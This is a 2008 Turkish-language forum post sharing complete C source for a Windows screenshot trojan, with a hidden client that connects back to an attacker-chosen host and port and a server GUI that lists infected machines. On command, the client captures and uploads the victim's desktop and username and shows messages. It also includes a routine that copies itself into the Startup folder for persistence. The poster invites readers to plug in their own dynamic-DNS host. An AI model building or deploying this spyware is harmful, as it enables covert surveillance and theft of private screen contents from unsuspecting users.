[C] ByCodeC Screen Shoot Trojen [örnek kod]

bycodec
09-06-2008, 01:52   |  #1  
OP Taze Üye
Teşekkür Sayısı: 0
8 mesaj
Kayıt Tarihi:Kayıt: Eyl 2007

c/c++ ile uğraşan arkadaşlara örnek olsun ... yakşalık 2 yıl önce yazmıştım..
çok fazla özelliği yok ama iş görüyor.. Gönderdiğiniz Pc den
ekran görüntüleri alıp size gönderiyor.. szde bir server çalıştırıyorsunuz...
sever ve client kodları aşşağıda mevcuttur.. standart bir win32 derleyisici ile derliyebilisiniz.. winsock.lib dosyasını
link etmeyi unutmayın...

(clien) MAIN.C

[ Tüm kodu seç ] [ Yeni Pencerede Göster ]
#include <windows.h> #include <stdio.h> char recv_data[50] ; char Director[100] = "C:\\Documents and Settings\\"; WSADATA wsdata; SOCKET s; struct hostent *he; struct sockaddr_in their_addr; FILE *bmp; char hdr; char UserName[20]; #include "socket_bycodec.h" int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil) { if(hPrevInstance != NULL)exit(0); HWND hwnd;MSG messages; WNDCLASSEX wincl; //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // KULLANICI ADI DWORD usersize=sizeof(UserName);GetUserName(UserName,&usersize); strcat(Director,UserName); strcat(Director,"\\Start Menu\\Programlar\\Başlangıç\\screen.exe"); // MessageBox(NULL,Director,UserName,MB_OK); //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ //Procces_Copy(); //_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ WSAStartup(MAKEWORD(2,0),&wsdata); // if((he = gethostbyname("buraya no-ip den aldgınız hostu yazın")) == NULL) return 1;//cartcurt.no-ip.info gibi //_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ while(!Connect_init()); //____________________________________________________________ for(;;){ if((recv(s,&hdr,1,0))<0){ closesocket(s); while(!Connect_init()); hdr = ' '; } switch(hdr){ case 'p': //picture send File_Send();break; case 'r': //reciver file File_recv();break; case 'u': //what is your name User_Name_Send();break; case 'm': Message_Box_Bycodec();break; } } //____________________________________________________________ //::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: closesocket(s); WSACleanup(); return 0; //::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: }
(client) socket_bycodec.h
[ Tüm kodu seç ] [ Yeni Pencerede Göster ]
int Connect_init(void); int Procces_Copy(void); int Screenshotal(HDC hdc, char *pszflname); void wait(void); int File_Send(void); int File_recv(void); int User_Name_Send(void); int Message_Box_Bycodec(void); //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ int Connect_init(void) { if((he = gethostbyname("192.168.14.2")) == NULL) return 0; //bycodec84.no-ip.info their_addr.sin_family = AF_INET; their_addr.sin_port = htons(38780); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero),'\0',8); if((s=socket(AF_INET,SOCK_STREAM,0)) == -1) return 0; // MessageBox(NULL,"socket ok","ok",MB_OK); if((connect(s,(struct sockaddr *)&their_addr,sizeof(struct sockaddr))) < 0)return 0; return 1; // if((send(s,"osman",strlen("osman"),0)) < 0); } //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ int Procces_Copy(void) { int temp; FILE *cpy_file; FILE *new_file; cpy_file = fopen("screen.exe","rb"); if((new_file = fopen(Director,"wb")) == 0) return 0; while((temp = getc(cpy_file)) != EOF) fprintf(new_file,"%c",temp); fclose(cpy_file); fclose(new_file); return 1; } //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ /* void wait(void){ unsigned int ii = 0; for(ii=0;ii<65000;ii++); } */ //###################################### int File_recv(void) { return 0; } int File_Send(void) { int temp; Screenshotal(GetDC(GetDesktopWindow()),"c:\\windows\\src.bmp"); bmp = fopen("c:\\windows\\src.bmp","rb"); do{ temp = getc(bmp); if(send(s, (char *) &temp, 1, 0)< 0)return 0; }while(!feof(bmp)); fclose(bmp); send(s,"stop",strlen("stop"),0); return 1; } //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ int Message_Box_Bycodec(void) { char mssg[100]; if((recv(s,mssg,100,0))<0){ return 1; } MessageBox(NULL,mssg,"message",MB_OK); return 0; } int User_Name_Send(void) { if(send(s,UserName,strlen(UserName),0)< 0)return 0; return 1; } int Screenshotal(HDC hdc, char *pszflname) { HDC memdc; HANDLE hfl; DWORD dwBytes, dwWidth, dwHeight, dwNumColors, dwBPP, ColorSize; void *pBits; HBITMAP hbmp; BITMAPFILEHEADER fileheader; BITMAPINFOHEADER infoheader; RGBQUAD colors[256]; BITMAPINFO bmpinfo; HGDIOBJ hret; dwWidth = GetDeviceCaps(hdc, HORZRES); dwHeight = GetDeviceCaps(hdc, VERTRES); dwBPP = GetDeviceCaps(hdc, BITSPIXEL); if (dwBPP <= 8) dwNumColors = 256; else dwNumColors = 0; if (!(memdc = CreateCompatibleDC(hdc))) return (0); bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); bmpinfo.bmiHeader.biWidth = dwWidth; bmpinfo.bmiHeader.biHeight = dwHeight; bmpinfo.bmiHeader.biPlanes = 1; bmpinfo.bmiHeader.biBitCount = (WORD)dwBPP; bmpinfo.bmiHeader.biCompression = BI_RGB; bmpinfo.bmiHeader.biSizeImage = 0; bmpinfo.bmiHeader.biXPelsPerMeter = 0; bmpinfo.bmiHeader.biYPelsPerMeter = 0; bmpinfo.bmiHeader.biClrUsed = dwNumColors; bmpinfo.bmiHeader.biClrImportant = dwNumColors; hbmp = CreateDIBSection(hdc, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0); if (!hbmp) { DeleteDC(memdc); return (0); } hret = SelectObject(memdc, hbmp); if (!hret || (hret == HGDI_ERROR)) { DeleteDC(memdc); return (0); } if (!BitBlt(memdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY)) { DeleteDC(memdc); return (0); } if (dwNumColors) dwNumColors = GetDIBColorTable(memdc, 0, dwNumColors, colors); fileheader.bfType = 0x4D42; ColorSize = dwNumColors * sizeof(RGBQUAD); fileheader.bfSize = ((dwWidth*dwHeight*dwBPP) >> 3) + ColorSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); fileheader.bfReserved1 = fileheader.bfReserved2 = 0; fileheader.bfOffBits = ColorSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); infoheader.biSize = sizeof(BITMAPINFOHEADER); infoheader.biWidth = dwWidth; infoheader.biHeight = dwHeight; infoheader.biPlanes = 1; infoheader.biBitCount = (WORD)dwBPP; infoheader.biCompression = BI_RGB; infoheader.biSizeImage = infoheader.biClrImportant = 0; infoheader.biXPelsPerMeter = infoheader.biYPelsPerMeter = 0; infoheader.biClrUsed = dwNumColors; hfl = CreateFile(pszflname, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if (hfl == INVALID_HANDLE_VALUE) { DeleteObject(hbmp); { DeleteDC(memdc); return (0); } } WriteFile(hfl, &fileheader, sizeof(BITMAPFILEHEADER), &dwBytes, 0); WriteFile(hfl, &infoheader, sizeof(BITMAPINFOHEADER), &dwBytes, 0); if (!dwNumColors) WriteFile(hfl, colors, ColorSize, &dwBytes, 0); ColorSize = (dwWidth * dwHeight * dwBPP) >> 3; WriteFile(hfl, pBits, ColorSize, &dwBytes, 0); CloseHandle(hfl); DeleteObject(hbmp); DeleteDC(memdc); return (1); } //########################################################################################## /* strcmp(1,2); dfg char recv_data[20]; DWORD usersize=sizeof(buf); GetUserName(buf,&usersize); WSAStartup(MAKEWORD(2,0),&wsdata); if((he = gethostbyname("10.0.0.12")) == NULL) return 1; Connect_init(); recv(s,recv_data,10,0); MessageBox(NULL,recv_data,"hata",MB_OK); closesocket(s); WSACleanup(); } */
(server) MAIN.C
[ Tüm kodu seç ] [ Yeni Pencerede Göster ]
#include <windows.h> #include <stdio.h> #include "main.h" #include "resorce.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> /* Declare Windows procedure */ fd_set master; // master file descriptor list fd_set read_fds; // temp file descriptor list for select() WSADATA wsd; int listener; struct sockaddr_in myaddr; // server address struct sockaddr_in remoteaddr; // client address int fdmax; // maximum file descriptor number int newfd; // newly accept()ed socket descriptor int nbytes; int addrlen; int i, j,activSocket; struct timeval tv; char szClassName[ ] = "ByCodeC"; char buf[256]; char UserName[20]; char ch; SOCKET list[50]; unsigned int listCnt=0; static HWND hListBox,hEdit,hMemo,hLabel1; static HWND hButton1,hButton2,hButton3,hButton4,hButton5,hButton6,hButton7,hButton8,hButton9,hButton10; //--------------------------------------------------------------------------------------------------------- LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM); void AddListBox(HWND hlistbox,char *txt); int OnButtonClicked(HWND hlistbox); //--------------------------------------------------------------------------------------------------------- // maximum file descriptor number int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil) { HWND hwnd; /* This is the handle for our window */ MSG messages; /* Here messages to the application are saved */ WNDCLASSEX wincl; /* Data structure for the windowclass */ char adres[30]; //------------------------------------------------------------------- if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)MessageBox(NULL,"bilgisayarınız socket uygulamasını çalıştıramadı\nprogramın çalışmasına engel olan bişiyler var","ByCodeC",MB_ICONERROR); //------------------------------------------------------------------- /* The Window structure */ wincl.hInstance = hThisInstance; wincl.lpszClassName = szClassName; wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */ wincl.style = CS_DBLCLKS; /* Catch double-clicks */ wincl.cbSize = sizeof (WNDCLASSEX); /* Use default icon and mouse-pointer */ wincl.hIcon = LoadIcon (NULL,IDI_EXCLAMATION); wincl.hIconSm = LoadIcon (NULL, IDI_EXCLAMATION); wincl.hCursor = LoadCursor (NULL, IDC_ARROW); wincl.lpszMenuName = NULL; /* No menu */ wincl.cbClsExtra = 0; /* No extra bytes after the window class */ wincl.cbWndExtra = 0; /* structure or the window instance */ /* Use Windows's default color as the background of the window */ wincl.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); /* Register the window class, and if it fails quit the program */ if (!RegisterClassEx (&wincl)) return 0; /* The class is registered, let's create the program*/ hwnd = CreateWindowEx ( 0, /* Extended possibilites for variation */ szClassName, /* Classname */ "ByCodeC++ ServeR", /* Title Text */ WS_BORDER | WS_SYSMENU, /* default window */ CW_USEDEFAULT, /* Windows decides the position */ CW_USEDEFAULT, /* where the window ends up on the screen */ 550, /* The programs width */ 410, /* and height in pixels */ HWND_DESKTOP, /* The window is a child-window to desktop */ NULL, /* No menu */ hThisInstance, /* Program Instance handler */ NULL /* No Window Creation data */ );ShowWindow (hwnd, nFunsterStil); //------------------------------------------------------------ tv.tv_sec = 0; tv.tv_usec = 100; FD_ZERO(&master); // clear the master and temp sets FD_ZERO(&read_fds); if ((listener = socket(AF_INET, SOCK_STREAM, 0)) == -1) MessageBox(hwnd,"SOCKET error","bycodec",MB_ICONERROR); myaddr.sin_family = AF_INET; myaddr.sin_addr.s_addr = INADDR_ANY; myaddr.sin_port = htons(PORT); memset(&(myaddr.sin_zero), '\0', 8); if (bind(listener, (struct sockaddr *)&myaddr, sizeof(myaddr)) == -1) MessageBox(hwnd,"Bind error !","bycodec",MB_ICONERROR); if (listen(listener, 10) == -1) MessageBox(hwnd,"Listen error !","bycodec",MB_ICONERROR); FD_SET(listener, &master); fdmax = listener; //----------------------------------------------------------------------------- /* Make the window visible on the screen */ /* Run the message loop. It will run until GetMessage() returns 0 */ while (GetMessage (&messages, NULL, 0, 0)) { /* Translate virtual-key messages into character messages */ TranslateMessage(&messages); /* Send message to WindowProcedure */ DispatchMessage(&messages); //----------------------------------------------------------------------------- read_fds = master; if (select(fdmax+1, &read_fds, NULL, NULL,&tv) == -1) MessageBox(hwnd,"select error","bycodec",MB_ICONERROR); for(i = 0; i <= fdmax; i++) { if (FD_ISSET(i, &read_fds)) { // we got one!! if (i == listener) { // handle new connections addrlen = sizeof(remoteaddr); if ((newfd = accept(listener, (struct sockaddr *)&remoteaddr,&addrlen)) == -1) { MessageBox(hwnd,"accept error","bycodec",MB_ICONERROR); } else { FD_SET(newfd, &master); // add to master set if (newfd > fdmax) { // keep track of the maximum fdmax = newfd; } list[listCnt++] = newfd; sprintf(adres,"%s",inet_ntoa(remoteaddr.sin_addr)); AddListBox(hListBox,adres); } }/* else { // handle data from a client printf("\nveri alma beklemesi\n"); if ((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0) { // got error or connection closed by client if (nbytes == 0) { // connection closed MessageBox(hwnd,"koptu","bycodec",MB_OK); } else { } close(i); // bye! FD_CLR(i, &master); // remove from master set }else { puts(buf);// we got some data from a client for(j = 0; j <= fdmax; j++) { // send to everyone! if (FD_ISSET(j, &master)) { // except the listener and ourselves if (j != listener && j != i) { if (send(j,"",strlen("osman"), 0) == -1) { } } } } } } */ // it's SO UGLY! } } //----------------------------------------------------------------------------- } /* The program return-value is 0 - The value that PostQuitMessage() gave */ WSACleanup(); return messages.wParam; } /* This function is called by the Windows function DispatchMessage() */ LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { char info[30]=""; int info_int=0; switch (message) /* handle the messages */ { case WM_CREATE: //------------------------------------ label ---------------------------------------------- hLabel1 = CreateWindow("static"," <------- ByCodeC ScreenShot server ------->", WS_CHILD | WS_VISIBLE,4,198,400,15,hwnd,(HMENU)100, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hLabel1, WM_SETFONT, (WPARAM)GetStockObject(ANSI_VAR_FONT), 0); //------------------------------------ button --------------------------------------------- hButton1 = CreateWindow("button","EXIT",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT , 3,351,538,20,hwnd,(HMENU)EXIT_B, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hButton1, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); hButton2 = CreateWindow("button","Send Message",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT, 3,331,538,20,hwnd,(HMENU)SNDMSG_B, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hButton2, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); hButton3 = CreateWindow("button","",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT, 3,3,538,10,hwnd,(HMENU)INFO_B, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hButton3, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); hButton4 = CreateWindow("button","",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT, 405,15,15,243,hwnd,(HMENU)BTN1, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hButton4, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); hButton5 = CreateWindow("button","",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT, 4,259,537,12,hwnd,(HMENU)BTN2, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hButton5, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); hButton6 = CreateWindow("button","---",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT, 4,216,400,17,hwnd,(HMENU)BTN2, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hButton6, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); hButton7 = CreateWindow("button","? User Name ?",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT, 3,311,268,20,hwnd,(HMENU)USER_NAME, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hButton7, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); hButton8 = CreateWindow("button","!!! ScreenShoot !!!",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON ,//| BS_FLAT, 270,311,271,20,hwnd,(HMENU)SCREEN_SHOOT, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hButton7, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); //------------------------------------- ListBox ------------------------------------------- hListBox = CreateWindow("listbox",".", WS_CHILD | WS_VISIBLE | LBS_NOTIFY | WS_HSCROLL | WS_VSCROLL, 421,15,120,243,hwnd,(HMENU)LIST_C, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hListBox, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0); //-------------------------------------- EDİT --------------------------------------------- hEdit = CreateWindow(TEXT( "edit" ),NULL,WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_AUTOHSCROLL , 4, 235, 400,21,hwnd,(HMENU)MEDIT_C,((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hEdit, WM_SETFONT, (WPARAM)GetStockObject(ANSI_VAR_FONT), 0); //--------------------------------------- MEMO -------------------------------------------- hMemo = CreateWindow("listbox","", WS_CHILD | WS_VISIBLE |LBS_NOSEL| WS_HSCROLL | WS_VSCROLL, 4,15,399,207,hwnd,(HMENU)MEMO, ((LPCREATESTRUCT)lParam)->hInstance,NULL); SendMessage(hMemo, WM_SETFONT, (WPARAM)GetStockObject(ANSI_VAR_FONT), 0); AddListBox(hMemo,"-_-_-_-_-______ ByCodeC SerVer _____-_-_-_-_-_"); //----------------------------------------------------------------------------------------- //######################################################################################### //######################################################################################### break; case WM_DESTROY: PostQuitMessage (0); /* send a WM_QUIT to the message queue */ break; case WM_COMMAND://PostMessage(hwnd,WM_QUIT,0,0); if(HIWORD(wParam) == BN_CLICKED){ if(LOWORD(wParam) == EXIT_B){ PostMessage(hwnd,WM_QUIT,0,0); } //______________________________________________________________________________________Send message if(LOWORD(wParam) == SNDMSG_B){ OnButtonClicked(hListBox);break; } //______________________________________________________________________________________info if(LOWORD(wParam) == INFO_B){ info_int = SendMessage(hListBox,LB_GETCOUNT,0,0); AddListBox(hMemo,""); AddListBox(hMemo,"_-_-_-_-_-_-_-_-_OnLiNe NumBer_-_-_-_-_-_-_-_"); sprintf(info," total = %d",info_int); AddListBox(hMemo,info);break; } //______________________________________________________________________________________user name if(LOWORD(wParam) == USER_NAME){ memset(UserName,'\0',20); memset(buf,'\0',256); activSocket = SendMessage(hListBox,LB_GETCURSEL,0,0); ch = 'u'; if(activSocket < 0){ MessageBox(hwnd,"! selected IP !","ByCodeC",MB_ICONERROR); break; } AddListBox(hMemo,"user name ?"); if (send(list[activSocket],&ch,1, 0) < 0) { MessageBox(hwnd,"send error","ByCodeC",MB_ICONERROR);break; } AddListBox(hMemo,"send ok"); if(recv(list[activSocket],UserName,sizeof(UserName),0) < 0){ MessageBox(hwnd,"recv error","ByCodeC",MB_ICONERROR);break; } sprintf(buf,"active user name = [ %s ]",UserName); AddListBox(hMemo,buf); break; } //______________________________________________________________________________________screen shoot if(LOWORD(wParam) == SCREEN_SHOOT){ AddListBox(hMemo,"please waiting receive Screen shoot ;-)"); MessageBox(hwnd,"please waiting receive Screen shoot ;-)","bycode",MB_OK); activSocket = SendMessage(hListBox,LB_GETCURSEL,0,0); ch = 'p'; if(activSocket < 0){ MessageBox(hwnd,"! selected IP !","ByCodeC",MB_ICONERROR); break; } int ch_cnt = 0; int flag = 0; char stop[]="stop"; FILE *resim; resim = fopen("resim.bmp","wb"); if (send(list[activSocket],&ch,1, 0) < 0) { MessageBox(hwnd,"send error","ByCodeC",MB_ICONERROR);break; } while(!flag){ if(recv(list[activSocket],&ch,1,0) < 0){ MessageBox(hwnd,"recv error","ByCodeC",MB_ICONERROR);break; } putc(ch,resim); if(stop[ch_cnt] == ch){ ch_cnt++; if(ch_cnt > 3){ fclose(resim); AddListBox(hMemo,"picture \\resim.bmp"); flag = 1; break; } } else ch_cnt = 0; } } //______________________________________________________________________________________ } default: /* for messages that we don't deal with */ return DefWindowProc (hwnd, message, wParam, lParam); } return 0; } void AddListBox(HWND hlistbox,char *txt) { SendMessage(hlistbox,LB_ADDSTRING,0,(LPARAM)txt); } int OnButtonClicked(HWND hlistbox) { char text[10]; int index = SendMessage(hlistbox,LB_GETCURSEL,0,0); sprintf(text,"%d",index); if(index < 0){ MessageBox(NULL,"select IP","ByCodeC",MB_ICONERROR); } else return index; }
(server) MAIN.H
[ Tüm kodu seç ] [ Yeni Pencerede Göster ]
#define EXIT_B 100 #define SNDMSG_B 101 #define INFO_B 102 #define BTN1 103 #define BTN2 104 #define USER_NAME 105 #define SCREEN_SHOOT 106 #define BTN5 107 #define BTN6 108 #define LIST_C 200 #define EDIT_C 300 #define MEDIT_C 301 #define MEMO 400 #define PORT 38780 // çalışmak istediğiniz port (client deki ile aynı olmalı)

Son Düzenleme: bycodec ~ 09 Haziran 2008 01:55